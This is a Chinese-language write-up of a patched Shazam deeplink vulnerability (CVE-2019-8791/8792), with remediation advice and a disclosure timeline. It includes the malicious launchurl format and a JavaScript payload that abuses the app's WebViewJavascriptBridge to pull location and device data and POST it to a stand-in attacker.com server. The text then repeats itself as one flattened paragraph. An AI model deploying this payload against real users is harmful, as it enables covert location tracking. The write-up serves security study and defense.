挖洞经验 | 用一条URL链接获取Shazam用户地理位置
字数 1534 2025-08-15 21:33:37

Shazam应用深层链接漏洞分析与利用教学文档

漏洞概述

本漏洞涉及Shazam音乐识别应用中的深层链接(deeplink)机制安全问题,通过构造特定URL可实现开放重定向和JavaScript代码执行,进而获取用户精确地理位置等敏感信息。漏洞影响Android和iOS平台上的Shazam应用,编号为CVE-2019-8791(开放重定向)和CVE-2019-8792(任意JS代码执行)。

漏洞背景

  • Shazam应用:苹果公司旗下软件,提供听音识曲功能,支持Windows、macOS和智能手机平台
  • 影响范围:约1亿Shazam用户
  • 漏洞发现时间:2018年底
  • 修复时间:2019年3月26日
  • 漏洞上报途径:security@apple.com

技术细节

1. 漏洞核心机制

Shazam应用使用了深层链接作为导航操作,其中存在一个特殊的导出深层链接:

shazam://launchurl?url=

该链接存在两个关键问题:

  1. 未对url参数值进行验证,允许嵌入外部资源
  2. 加载的webview控件包含js接口,可与手机API通信获取敏感信息

2. WebViewJavascriptBridge接口分析

通过反编译Shazam应用,发现webview控件附加了名为WebViewJavascriptBridge的js接口,可通过窗口对象访问。该接口提供了两个关键方法:

  1. setMessageHandler - 设置消息处理函数
  2. sendMessage - 发送消息请求

攻击者可利用这些方法获取设备信息,特别是通过重写setMessageHandler函数来捕获sendMessage请求的响应。

3. 漏洞利用原理

构造的恶意URL会:

  1. 通过深层链接打开Shazam应用
  2. 加载攻击者控制的网页到webview
  3. 执行恶意JavaScript代码
  4. 通过js接口获取设备信息并外传

漏洞利用步骤

1. 构造攻击URL

基本格式:

shazam://launchurl?url=恶意网页地址

2. 创建恶意网页

恶意网页应包含利用WebViewJavascriptBridge接口的代码:

<html>
<script>
  // 重写消息处理函数以捕获响应
  window.WebViewJavascriptBridge.setMessageHandler(function(e) {
    // 将获取的信息发送到攻击者服务器
    fetch('https://attacker.com/collect', {
      method: 'POST',
      body: JSON.stringify(e)
    });
  });
  
  // 触发信息收集
  window.onload = function() {
    // 获取设备信息
    window.WebViewJavascriptBridge.sendMessage(
      JSON.stringify({type:'aboutBridge', data:'Device Info'})
    );
    
    // 获取位置信息
    window.WebViewJavascriptBridge.sendMessage(
      JSON.stringify({type:'location', data:'GPS'})
    );
  };
</script>
</html>

3. 攻击流程

  1. 攻击者向受害者发送构造好的URL链接
  2. 受害者点击链接并加载Shazam应用
  3. Shazam应用加载webview控件并执行嵌入的恶意代码
  4. 受害者地理位置等敏感信息被窃取并发送到攻击者控制的服务器

漏洞影响

  1. 信息泄露

    • 精确地理位置
    • 设备信息
    • 潜在的其他敏感数据
  2. 攻击特点

    • 隐蔽性强,用户只需点击链接
    • 可发展为"零点击漏洞"(zero click vulnerability)
    • 影响范围广(约1亿用户)

防御措施

1. 开发者修复方案

  1. 输入验证

    • 对深层链接的url参数进行严格验证
    • 限制可加载的域名白名单
  2. 接口安全

    • 限制WebViewJavascriptBridge接口的访问权限
    • 对敏感API调用增加用户确认步骤
  3. 沙箱机制

    • 将webview与敏感API隔离
    • 实现内容安全策略(CSP)

2. 用户防护建议

  1. 保持应用更新至最新版本
  2. 谨慎点击不明来源的Shazam链接
  3. 定期检查应用权限设置

漏洞研究启示

  1. 深层链接安全:所有使用深层链接的应用都应严格验证参数
  2. WebView安全:嵌入webview时需注意js接口暴露风险
  3. 移动应用安全:移动端特有的攻击面需要特别关注

参考资源

  1. 官方漏洞编号:

    • CVE-2019-8791 (开放重定向)
    • CVE-2019-8792 (任意JS代码执行)
  2. 上报时间线:

    • 2018年12月:漏洞发现并上报
    • 2019年3月:漏洞修复
    • 修复后8个月:苹果确认漏洞但拒绝奖励

本教学文档详细分析了Shazam应用深层链接漏洞的技术原理、利用方法和防御措施,可作为移动应用安全研究和渗透测试的参考案例。

Shazam应用深层链接漏洞分析与利用教学文档 漏洞概述 本漏洞涉及Shazam音乐识别应用中的深层链接(deeplink)机制安全问题,通过构造特定URL可实现开放重定向和JavaScript代码执行,进而获取用户精确地理位置等敏感信息。漏洞影响Android和iOS平台上的Shazam应用,编号为CVE-2019-8791(开放重定向)和CVE-2019-8792(任意JS代码执行)。 漏洞背景 Shazam应用 :苹果公司旗下软件,提供听音识曲功能,支持Windows、macOS和智能手机平台 影响范围 :约1亿Shazam用户 漏洞发现时间 :2018年底 修复时间 :2019年3月26日 漏洞上报途径 :security@apple.com 技术细节 1. 漏洞核心机制 Shazam应用使用了深层链接作为导航操作,其中存在一个特殊的导出深层链接: 该链接存在两个关键问题: 未对url参数值进行验证,允许嵌入外部资源 加载的webview控件包含js接口,可与手机API通信获取敏感信息 2. WebViewJavascriptBridge接口分析 通过反编译Shazam应用,发现webview控件附加了名为 WebViewJavascriptBridge 的js接口,可通过窗口对象访问。该接口提供了两个关键方法: setMessageHandler - 设置消息处理函数 sendMessage - 发送消息请求 攻击者可利用这些方法获取设备信息,特别是通过重写 setMessageHandler 函数来捕获 sendMessage 请求的响应。 3. 漏洞利用原理 构造的恶意URL会: 通过深层链接打开Shazam应用 加载攻击者控制的网页到webview 执行恶意JavaScript代码 通过js接口获取设备信息并外传 漏洞利用步骤 1. 构造攻击URL 基本格式: 2. 创建恶意网页 恶意网页应包含利用WebViewJavascriptBridge接口的代码: 3. 攻击流程 攻击者向受害者发送构造好的URL链接 受害者点击链接并加载Shazam应用 Shazam应用加载webview控件并执行嵌入的恶意代码 受害者地理位置等敏感信息被窃取并发送到攻击者控制的服务器 漏洞影响 信息泄露 : 精确地理位置 设备信息 潜在的其他敏感数据 攻击特点 : 隐蔽性强,用户只需点击链接 可发展为"零点击漏洞"(zero click vulnerability) 影响范围广(约1亿用户) 防御措施 1. 开发者修复方案 输入验证 : 对深层链接的url参数进行严格验证 限制可加载的域名白名单 接口安全 : 限制WebViewJavascriptBridge接口的访问权限 对敏感API调用增加用户确认步骤 沙箱机制 : 将webview与敏感API隔离 实现内容安全策略(CSP) 2. 用户防护建议 保持应用更新至最新版本 谨慎点击不明来源的Shazam链接 定期检查应用权限设置 漏洞研究启示 深层链接安全 :所有使用深层链接的应用都应严格验证参数 WebView安全 :嵌入webview时需注意js接口暴露风险 移动应用安全 :移动端特有的攻击面需要特别关注 参考资源 官方漏洞编号: CVE-2019-8791 (开放重定向) CVE-2019-8792 (任意JS代码执行) 上报时间线: 2018年12月:漏洞发现并上报 2019年3月:漏洞修复 修复后8个月:苹果确认漏洞但拒绝奖励 本教学文档详细分析了Shazam应用深层链接漏洞的技术原理、利用方法和防御措施,可作为移动应用安全研究和渗透测试的参考案例。